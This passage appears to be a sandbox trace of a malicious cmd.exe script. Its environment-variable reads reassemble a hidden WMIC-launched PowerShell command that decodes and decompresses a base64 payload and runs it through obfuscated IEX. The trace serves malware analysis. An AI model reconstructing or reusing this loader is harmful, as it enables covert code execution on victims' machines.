nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.099] GetConsoleTitleW (in: lpConsoleTitle=0x1edbc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.100] GetConsoleTitleW (in: lpConsoleTitle=0x1ed9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.100] GetConsoleTitleW (in: lpConsoleTitle=0x1ed9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.100] GetConsoleTitleW (in: lpConsoleTitle=0x1eda40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.100] GetConsoleTitleW (in: lpConsoleTitle=0x1ed8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.100] GetConsoleTitleW (in: lpConsoleTitle=0x1ed830, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.101] GetConsoleTitleW (in: lpConsoleTitle=0x1ed830, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.101] GetConsoleTitleW (in: lpConsoleTitle=0x1ed770, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.101] GetConsoleTitleW (in: lpConsoleTitle=0x1ed740, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.101] GetConsoleTitleW (in: lpConsoleTitle=0x1ed530, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.102] GetConsoleTitleW (in: lpConsoleTitle=0x1ed500, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.102] GetConsoleTitleW (in: lpConsoleTitle=0x1ed470, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.102] GetConsoleTitleW (in: lpConsoleTitle=0x1ed530, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.102] GetConsoleTitleW (in: lpConsoleTitle=0x1ed500, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.102] GetConsoleTitleW (in: lpConsoleTitle=0x1ed380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.103] GetConsoleTitleW (in: lpConsoleTitle=0x1ed2c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.103] GetConsoleTitleW (in: lpConsoleTitle=0x1ed230, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.103] GetConsoleTitleW (in: lpConsoleTitle=0x1ed2c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.103] GetConsoleTitleW (in: lpConsoleTitle=0x1ed2c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.103] GetConsoleTitleW (in: lpConsoleTitle=0x1ed170, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.104] GetConsoleTitleW (in: lpConsoleTitle=0x1ed200, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.104] GetConsoleTitleW (in: lpConsoleTitle=0x1ed0b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.104] GetConsoleTitleW (in: lpConsoleTitle=0x1ed080, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.104] GetConsoleTitleW (in: lpConsoleTitle=0x1ed110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.105] GetConsoleTitleW (in: lpConsoleTitle=0x1ed0b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.105] GetConsoleTitleW (in: lpConsoleTitle=0x1ecf30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.105] GetConsoleTitleW (in: lpConsoleTitle=0x1ecf30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.105] GetConsoleTitleW (in: lpConsoleTitle=0x1ece70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.105] GetConsoleTitleW (in: lpConsoleTitle=0x1ecf00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.106] GetConsoleTitleW (in: lpConsoleTitle=0x1ece70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.106] GetConsoleTitleW (in: lpConsoleTitle=0x1ecd80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.106] GetConsoleTitleW (in: lpConsoleTitle=0x1ecd80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.106] GetConsoleTitleW (in: lpConsoleTitle=0x1eccf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.107] GetConsoleTitleW (in: lpConsoleTitle=0x1ecb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.107] GetConsoleTitleW (in: lpConsoleTitle=0x1ecb40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.107] GetConsoleTitleW (in: lpConsoleTitle=0x1ecab0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.107] GetConsoleTitleW (in: lpConsoleTitle=0x1ecc00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.398] GetConsoleTitleW (in: lpConsoleTitle=0x1ec9f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.398] GetConsoleTitleW (in: lpConsoleTitle=0x1ec930, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.398] GetConsoleTitleW (in: lpConsoleTitle=0x1ec930, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.398] GetConsoleTitleW (in: lpConsoleTitle=0x1eca80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.398] GetConsoleTitleW (in: lpConsoleTitle=0x1ec870, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.398] GetConsoleTitleW (in: lpConsoleTitle=0x1ec990, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.399] GetEnvironmentVariableW (in: lpName="rM", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="WMIC.") returned 0x5 [0086.399] GetEnvironmentVariableW (in: lpName="B9s", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="exe pR") returned 0x7 [0086.399] GetEnvironmentVariableW (in: lpName="7z", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="oCESs ") returned 0x7 [0086.399] GetEnvironmentVariableW (in: lpName="sO", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=" 'CAll' 'cReAte' \"\"po") returned 0x15 [0086.399] GetEnvironmentVariableW (in: lpName="cg", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="WerSHell -NO") returned 0xc [0086.399] GetEnvironmentVariableW (in: lpName="rjUN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ni") returned 0x2 [0086.399] GetEnvironmentVariableW (in: lpName="sZG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="NtErac -") returned 0x9 [0086.400] GetEnvironmentVariableW (in: lpName="Vp05", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="noPR") returned 0x4 [0086.400] GetEnvironmentVariableW (in: lpName="8R", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="O") returned 0x1 [0086.400] GetEnvironmentVariableW (in: lpName="DRKS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="FIlE -NoLogO ") returned 0xf [0086.400] GetEnvironmentVariableW (in: lpName="Ehp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="-ExECUt ") returned 0x8 [0086.400] GetEnvironmentVariableW (in: lpName="gxb", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="bYp") returned 0x3 [0086.400] GetEnvironmentVariableW (in: lpName="6vzH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="a") returned 0x1 [0086.400] GetEnvironmentVariableW (in: lpName="Rz", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="SS ") returned 0x3 [0086.400] GetEnvironmentVariableW (in: lpName="9cuB", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=" ") returned 0x1 [0086.400] GetEnvironmentVariableW (in: lpName="G5Q1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="-wINDOw") returned 0x7 [0086.400] GetEnvironmentVariableW (in: lpName="vF", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="s hidDe") returned 0x8 [0086.401] GetEnvironmentVariableW (in: lpName="uUH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="n ^& ( ") returned 0xa [0086.401] GetEnvironmentVariableW (in: lpName="vZc", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="$pS") returned 0x3 [0086.401] GetEnvironmentVariableW (in: lpName="aXch", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="HoMe") returned 0x4 [0086.401] GetEnvironmentVariableW (in: lpName="PdJ6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="[21]+$Ps") returned 0x8 [0086.401] GetEnvironmentVariableW (in: lpName="Lb", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="hoME[34]+") returned 0x9 [0086.401] GetEnvironmentVariableW (in: lpName="Zb", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="'X") returned 0x2 [0086.401] GetEnvironmentVariableW (in: lpName="R5qC", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="')(") returned 0x3 [0086.401] GetEnvironmentVariableW (in: lpName="Z13", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=" \"\"\\\"\"(n") returned 0x8 [0086.401] GetEnvironmentVariableW (in: lpName="j1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="Ew-object Io.cOMp") returned 0x11 [0086.401] GetEnvironmentVariableW (in: lpName="xS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ressi") returned 0x5 [0086.402] GetEnvironmentVariableW (in: lpName="eZP", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="o") returned 0x1 [0086.402] GetEnvironmentVariableW (in: lpName="az8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="N.DefLatesTR") returned 0xc [0086.402] GetEnvironmentVariableW (in: lpName="U19", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ea") returned 0x2 [0086.402] GetEnvironmentVariableW (in: lpName="b1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="M(") returned 0x2 [0086.402] GetEnvironmentVariableW (in: lpName="AN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="[sysTem.IO.ME") returned 0xd [0086.402] GetEnvironmentVariableW (in: lpName="Sq5s", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="MoRYSTREam] [COnvER") returned 0x13 [0086.402] GetEnvironmentVariableW (in: lpName="JGA", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="T]::") returned 0x4 [0086.402] GetEnvironmentVariableW (in: lpName="LK", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="fRomba") returned 0x6 [0086.402] GetEnvironmentVariableW (in: lpName="UQ7k", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="se64sTrIN") returned 0x9 [0086.402] GetEnvironmentVariableW (in: lpName="JFO6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="G('VZBba8IwGIb/SpAOEremtR5Aix") returned 0x1d [0086.402] GetEnvironmentVariableW (in: lpName="bv", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="faqfNGZQoblCJp") returned 0xe [0086.403] GetEnvironmentVariableW (in: lpName="us6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="+00z") returned 0x4 [0086.403] GetEnvironmentVariableW (in: lpName="cwH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="kqa02Wx1/vfFwy52+7zfe+") returned 0x16 [0086.403] GetEnvironmentVariableW (in: lpName="cWSV", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ArmU") returned 0x4 [0086.403] GetEnvironmentVariableW (in: lpName="CdJ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="Ap") returned 0x2 [0086.403] GetEnvironmentVariableW (in: lpName="GY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="CAC0gIO") returned 0x7 [0086.403] GetEnvironmentVariableW (in: lpName="q0Cc", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="9") returned 0x1 [0086.403] GetEnvironmentVariableW (in: lpName="eyWN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="jD8h") returned 0x4 [0086.403] GetEnvironmentVariableW (in: lpName="ZHTE", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="0f") returned 0x2 [0086.403] GetEnvironmentVariableW (in: lpName="G1yS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="4oTe1Nn") returned 0x7 [0086.403] GetEnvironmentVariableW (in: lpName="ep3A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="QOyR2UJM") returned 0x8 [0086.404] GetEnvironmentVariableW (in: lpName="ir1V", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="h") returned 0x1 [0086.404] GetEnvironmentVariableW (in: lpName="l6e", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="b1") returned 0x2 [0086.404] GetEnvironmentVariableW (in: lpName="Zzt", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="gklAj") returned 0x5 [0086.404] GetEnvironmentVariableW (in: lpName="BW7", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="XV") returned 0x2 [0086.404] GetEnvironmentVariableW (in: lpName="LIj", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="dapD0") returned 0x5 [0086.404] GetEnvironmentVariableW (in: lpName="aMG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="u") returned 0x1 [0086.404] GetEnvironmentVariableW (in: lpName="I1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="WAHnu0avhWw4c38X6") returned 0x11 [0086.404] GetEnvironmentVariableW (in: lpName="J6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="FjriXLMf5") returned 0x9 [0086.404] GetEnvironmentVariableW (in: lpName="cNVz", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="L1") returned 0x2 [0086.404] GetEnvironmentVariableW (in: lpName="Cij", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="vQN") returned 0x3 [0086.404] GetEnvironmentVariableW (in: lpName="baCI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="4kBwy") returned 0x5 [0086.405] GetEnvironmentVariableW (in: lpName="OE9Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="DShyxyyV2Apbuy") returned 0xe [0086.405] GetEnvironmentVariableW (in: lpName="JZ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="1z") returned 0x2 [0086.405] GetEnvironmentVariableW (in: lpName="DG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="suB4") returned 0x4 [0086.405] GetEnvironmentVariableW (in: lpName="qXu", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="3DJdlB6lMtdrCqaKOl0P") returned 0x14 [0086.405] GetEnvironmentVariableW (in: lpName="Ef", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="aftOsH05") returned 0x8 [0086.405] GetEnvironmentVariableW (in: lpName="xdNR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="bg8rj") returned 0x5 [0086.405] GetEnvironmentVariableW (in: lpName="gI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="pbRXNTS") returned 0x7 [0086.405] GetEnvironmentVariableW (in: lpName="3y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="Ihv") returned 0x3 [0086.405] GetEnvironmentVariableW (in: lpName="Sl", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="QVHcO8e1hjBCXsd1fexS2i") returned 0x16 [0086.405] GetEnvironmentVariableW (in: lpName="dn", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="Y/D6") returned 0x4 [0086.405] GetEnvironmentVariableW (in: lpName="72", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="cPV") returned 0x3 [0086.406] GetEnvironmentVariableW (in: lpName="H8O", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="QBL9tiqEM8utN") returned 0xd [0086.406] GetEnvironmentVariableW (in: lpName="q8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="vv") returned 0x2 [0086.406] GetEnvironmentVariableW (in: lpName="u5", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="E3Kyvr/E") returned 0x8 [0086.406] GetEnvironmentVariableW (in: lpName="sHnp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="0My") returned 0x3 [0086.406] GetEnvironmentVariableW (in: lpName="awyI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="l") returned 0x1 [0086.406] GetEnvironmentVariableW (in: lpName="cLM", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="M9ArXoEw") returned 0x8 [0086.406] GetEnvironmentVariableW (in: lpName="0zSA", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="B0/W9pYXWttmz3UfrSoa") returned 0x14 [0086.406] GetEnvironmentVariableW (in: lpName="Op1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="4") returned 0x1 [0086.406] GetEnvironmentVariableW (in: lpName="Dq4G", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="lAyvY8Gg6lQqsD4YqRjO") returned 0x14 [0086.406] GetEnvironmentVariableW (in: lpName="Rw", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="2ZZ2") returned 0x4 [0086.406] GetEnvironmentVariableW (in: lpName="rY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="uqSZqtH7Njw") returned 0xb [0086.407] GetEnvironmentVariableW (in: lpName="zRJ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="K5") returned 0x2 [0086.407] GetEnvironmentVariableW (in: lpName="gVkp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="6") returned 0x1 [0086.407] GetEnvironmentVariableW (in: lpName="bC0", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="hK") returned 0x2 [0086.407] GetEnvironmentVariableW (in: lpName="3B", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="0dGIOe") returned 0x6 [0086.407] GetEnvironmentVariableW (in: lpName="ag", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="zP") returned 0x2 [0086.407] GetEnvironmentVariableW (in: lpName="6rHY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="5+8") returned 0x3 [0086.407] GetEnvironmentVariableW (in: lpName="CY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="4") returned 0x1 [0086.407] GetEnvironmentVariableW (in: lpName="Mt", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="/D+iA1Umk6yRKXmH") returned 0x10 [0086.407] GetEnvironmentVariableW (in: lpName="Eau", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="S") returned 0x1 [0086.407] GetEnvironmentVariableW (in: lpName="Eh", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ZttA") returned 0x4 [0086.407] GetEnvironmentVariableW (in: lpName="eq", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="7") returned 0x1 [0086.408] GetEnvironmentVariableW (in: lpName="Je", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="m8") returned 0x2 [0086.408] GetEnvironmentVariableW (in: lpName="q2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="0v5W") returned 0x4 [0086.408] GetEnvironmentVariableW (in: lpName="xm", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="h") returned 0x1 [0086.408] GetEnvironmentVariableW (in: lpName="CoJf", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="e") returned 0x1 [0086.408] GetEnvironmentVariableW (in: lpName="zR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="G4GutW") returned 0x6 [0086.408] GetEnvironmentVariableW (in: lpName="HJVR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ee57") returned 0x4 [0086.408] GetEnvironmentVariableW (in: lpName="mLwq", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="U5EyC8=')\"\"\\\"\" + ") returned 0x11 [0086.408] GetEnvironmentVariableW (in: lpName="lPo", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="([ChAr]44).ToSTRIng") returned 0x13 [0086.408] GetEnvironmentVariableW (in: lpName="i8T3", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="(") returned 0x1 [0086.408] GetEnvironmentVariableW (in: lpName="bn", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=") + \"\"\\\"\"[IO") returned 0xd [0086.408] GetEnvironmentVariableW (in: lpName="OZ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".CoMpRES") returned 0x8 [0086.408] GetEnvironmentVariableW (in: lpName="gBQ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="si") returned 0x2 [0086.409] GetEnvironmentVariableW (in: lpName="Ir", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ON.COmPR") returned 0x8 [0086.409] GetEnvironmentVariableW (in: lpName="DvI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ESsIo") returned 0x5 [0086.409] GetEnvironmentVariableW (in: lpName="VDG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="NM") returned 0x2 [0086.409] GetEnvironmentVariableW (in: lpName="JVw", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="odE") returned 0x3 [0086.409] GetEnvironmentVariableW (in: lpName="uqLY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="]::dEC") returned 0x6 [0086.409] GetEnvironmentVariableW (in: lpName="lVp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="OmPreSs ) ") returned 0xa [0086.409] GetEnvironmentVariableW (in: lpName="GU", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="^| ") returned 0x3 [0086.409] GetEnvironmentVariableW (in: lpName="LI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="foREach-") returned 0x8 [0086.409] GetEnvironmentVariableW (in: lpName="3MK1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="objECt{nEw-obje") returned 0xf [0086.409] GetEnvironmentVariableW (in: lpName="0A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="ct SYsTEM") returned 0xa [0086.410] GetEnvironmentVariableW (in: lpName="qG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".I") returned 0x2 [0086.410] GetEnvironmentVariableW (in: lpName="bOq", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="o.stReAMREADeR") returned 0xe [0086.410] GetEnvironmentVariableW (in: lpName="cI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="( `$_\"\"\\\"\" ") returned 0xb [0086.410] GetEnvironmentVariableW (in: lpName="Xj", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="+ ") returned 0x2 [0086.410] GetEnvironmentVariableW (in: lpName="3RY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="([ChAr]44)") returned 0xa [0086.410] GetEnvironmentVariableW (in: lpName="bIHe", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".ToST") returned 0x5 [0086.410] GetEnvironmentVariableW (in: lpName="cOyd", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="RIng() ") returned 0x8 [0086.410] GetEnvironmentVariableW (in: lpName="hg", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="+ \"\"\\\"\"[systEM.t") returned 0x10 [0086.410] GetEnvironmentVariableW (in: lpName="lR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="Ext.eNcO") returned 0x8 [0086.410] GetEnvironmentVariableW (in: lpName="dv", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="D") returned 0x1 [0086.410] GetEnvironmentVariableW (in: lpName="rp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="iNG]::aSC") returned 0x9 [0086.411] GetEnvironmentVariableW (in: lpName="qX", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="iI)") returned 0x3 [0086.411] GetEnvironmentVariableW (in: lpName="olr8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="}") returned 0x1 [0086.411] GetEnvironmentVariableW (in: lpName="oJV", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="^| fOR") returned 0x6 [0086.411] GetEnvironmentVariableW (in: lpName="A2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="EacH-obj") returned 0x8 [0086.411] GetEnvironmentVariableW (in: lpName="cnih", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="E") returned 0x1 [0086.411] GetEnvironmentVariableW (in: lpName="IG4Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="CT") returned 0x2 [0086.411] GetEnvironmentVariableW (in: lpName="8i47", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=" {`$_") returned 0x5 [0086.411] GetEnvironmentVariableW (in: lpName="c2Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".rEadToend() })") returned 0xf [0086.411] GetEnvironmentVariableW (in: lpName="3Che", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="^|") returned 0x2 [0086.411] GetEnvironmentVariableW (in: lpName="OcWL", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=" ^&( `$") returned 0x7 [0086.411] GetEnvironmentVariableW (in: lpName="oP8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="p") returned 0x1 [0086.411] GetEnvironmentVariableW (in: lpName="DQ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="sHOMe") returned 0x5 [0086.412] GetEnvironmentVariableW (in: lpName="bHT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="[") returned 0x1 [0086.412] GetEnvironmentVariableW (in: lpName="ID", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="21]+") returned 0x4 [0086.412] GetEnvironmentVariableW (in: lpName="e5S", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="`$PSHOME[30]+'x')\"\"\\\"\" ") returned 0x17 [0086.412] GetEnvironmentVariableW (in: lpName="pv", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=") \"\"") returned 0x4 [0086.412] SetErrorMode (uMode=0x0) returned 0x8001 [0086.412] SetErrorMode (uMode=0x1) returned 0x0 [0086.412] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2ef100, lpFilePart=0x1ec460 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1ec460*="Desktop") returned 0x19 [0086.412] SetErrorMode (uMode=0x8001) returned 0x1 [0086.412] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0086.412] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0086.413] GetEnvironmentVariableW (in: lpName="PATHEXT", 